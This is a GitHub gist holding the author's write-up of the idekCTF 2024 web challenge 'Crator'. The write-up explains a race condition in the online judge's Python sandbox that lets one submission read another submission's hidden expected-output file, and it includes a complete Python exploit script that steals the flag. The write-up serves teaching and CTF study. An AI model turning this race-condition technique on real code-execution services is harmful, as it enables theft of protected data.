Skip to content

Instantly share code, notes, and snippets.

@jdabtieu
Created August 18, 2024 23:58
Show Gist options
  • Select an option

  • Save jdabtieu/a2fc92efd341631eca55051c595c71ca to your computer and use it in GitHub Desktop.

Select an option

Save jdabtieu/a2fc92efd341631eca55051c595c71ca to your computer and use it in GitHub Desktop.
idekCTF 2024 web/crator

Crator

Description

I made a new website to compete against my friends to see who could write faster code. Unfortunately, I don't actually know how to write that much code. Don't tell them, but ChatGPT wrote this entire website for me. Can you solve the problems for me?

Attachments: crator.tar.gz

Commentary

The sandbox is based on https://github.com/nzineer/Building-and-Breaking-a-Python-Sandbox/blob/master/Language%20Level%20Sandboxing%20using%20pysandbox.md, but even more restricted. The point of the challenge wasn't to break the sandbox, but at least two teams broke it anyways. (I know, Sandboxing Python in Python is a fool's game, but the goal was to make the pyjail escape harder than the intended solution.)

The challenge itself is based on a real online judge that used a similar sandbox and also had a race condition. However, that website was even more broken in that every submission would share one input/output/program file, so any two submissions that were submitted at the same time would crash each other.

Solution

At the bottom of db.py, we replace the placeholder flag with the real flag for the hidden test case of helloinput, but only for the output. The sandbox is also quite restrictive (but not airtight - see Commentary). The intended solution was not to try and escape from the jail, but to take a look at the implementation of the main web app.

Note: app.secret_key was not very secret, but this doesn't do anything since instances are separated. Realistically it just means exploit scripts can just use a hardcoded cookie instead of sending a login request every time. :)

Most of the routes are very obviously benign, with the only two potentially interesting ones being the problem submit route and the view submission route. The submission route shows program input, output, and expected output, but only for non-hidden test cases. The flag test case, however, is hidden.

Next, we can look at the submit problem route. Broadly, it creates /tmp/{submission_id}.py which loads the sandbox and then the submitted code, creates the .in and .expected files, then loops through all the test cases, running each one for at most 1 second and then comparing the output from the .out file against the .expected file. If one test case fails, the rest get skipped. Finally, it cleans everything up and sets the submission status.

The sandbox bans access to /tmp/{submission_id}.expected, so you cannot read the expected file, and it also prevents writing to any files, so information cannot be shared between test cases. However, most critically, it does not ban access to a different submission's .expected file, only its own. And since the .expected file lives for the entire lifespan of the test case, we can abuse a race condition to summon a second submission to read the .expected file before it gets deleted.

Submission 1:

x = input()
print(x)
if x != "Welcome to Crator":
    while True:
        pass

We have to make sure the first test case runs normally so that the second test case isn't skipped. To give the second submission the greatest chance of success, for our hidden test case, we can infinite loop the submission to make it run for the full one second.

Submission 2:

with open('/tmp/{submission_1_id}.expected', 'r') as file:
    print(file.read())

We have to replace the submission 1 id, but otherwise this will read submission 1's .expected file, and we can run this on a test case without output hidden so that we see the output.

Full exploit script:

import requests
import threading
import time

BASE_URL = "http://localhost:8000"

s = requests.Session()

print("[+] Logging in")
print(s.post(BASE_URL + "/login", data={"username": "admin", "password": "admin"}))

print("[+] Getting base submission number")
r = s.post(BASE_URL + "/submit/helloworld", data={'code': 'print("Hello, World!")'}, allow_redirects=False)
base_submission = int(r.headers["Location"].split("/")[-1])

print("[+] Making first submission")
def submit_one():
    r = s.post(BASE_URL + "/submit/helloinput", data={'code': 'x=input()\nprint(x)\nif x!="Welcome to Crator":\n  while True:\n    pass'}, allow_redirects=False)

t = threading.Thread(target=submit_one)
t.start()

time.sleep(0.2) # wait for first test case to finish
print("[+] Making second submission")
code = f'''
with open('/tmp/{base_submission + 1}.expected', 'r') as f:
    print(f.read().strip())
'''
r = s.post(BASE_URL + "/submit/helloworld", data={'code': code})

print("[+] Flag exfiltrated (hopefully)")
flag = r.text[r.text.index("idek"):]
flag = flag[:flag.index("}") + 1]
print(flag)

Notes

  • You probably don't actually need the time.sleep, but since the window for a successful exploit is roughly 1s, I threw it in to increase the chances of hitting the race condition.
  • A lot of people opened tickets about how the remote instance was broken because they were getting Wrong Answer on helloinput on remote but Correct locally. Reading the bottom of db.py would have explained why, because the second last line replaces the expected output of the test case with the real flag, but not the input (so print(input()) wouldn't have worked).
  • In app.py, subprocess.run with timeout doesn't actually kill the process. What this means is that your instance would get bogged down after doing too many infinite loops and you would have to restart the instance. Nobody said that reliable code is realistic code :)
  • For the first few hours after the challenge was open, each instance was only allocated 0.1 vCPUs (so an effective time limit of 0.1s, but realistically even less because you need Gunicorn running). Not only did this make the intended solution barely work, but sometimes if you got a slow enough instance even a print("Hello, World!") would timeout. Oops.
  • I wanted to make the submission IDs random UUIDs instead of sequential numbers so that it would be impossible to look at the previous submission to get the submission number of the first submission in the exploit chain. This would have made the challenge slightly harder but not by too much. (Can you figure out how this would change the exploit script?). I ran out of time to do this though :(
Spoiler warning Oh no, we can't use incrementing submission IDs anymore. However, at the top of the problem submit route, before test cases are run, we create and commit a Submission object. So we can add a request after the initial request to check /submissions for a Pending submission and grab the UUID from the link, and then build the second submission using that. In this case, you would probably also need to add a timeout to the first submission to make it take maybe around 0.5s to allow some time for the extra request before submitting the second submission.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment